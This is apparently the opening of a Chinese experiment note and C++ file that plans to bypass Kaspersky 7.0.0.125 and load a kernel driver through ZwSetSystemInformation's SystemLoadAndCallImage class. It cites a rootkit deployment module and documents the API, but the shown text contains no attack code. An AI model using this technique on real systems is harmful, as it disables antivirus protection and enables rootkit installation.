實驗對象
:
卡巴
7.0.0
.125
實驗函數 :ZwSetSystemInformation
實驗內容 : 繞過卡吧裝驅動 ( 多麽恐怖的事 ), 結果將會使系統失去防禦
實驗函數 :ZwSetSystemInformation
實驗內容 : 繞過卡吧裝驅動 ( 多麽恐怖的事 ), 結果將會使系統失去防禦
// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//
#include
<windows.h>
#include
<stdio.h>
#include
<stdlib.h>
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation
设置影响操作系统的信息,定义如下:
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength);
参数:
SystemInformationClass
:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是
SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
SystemInformationLength:
長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
成员:
Module:
要加载模块的NATIVE NT格式的完整路径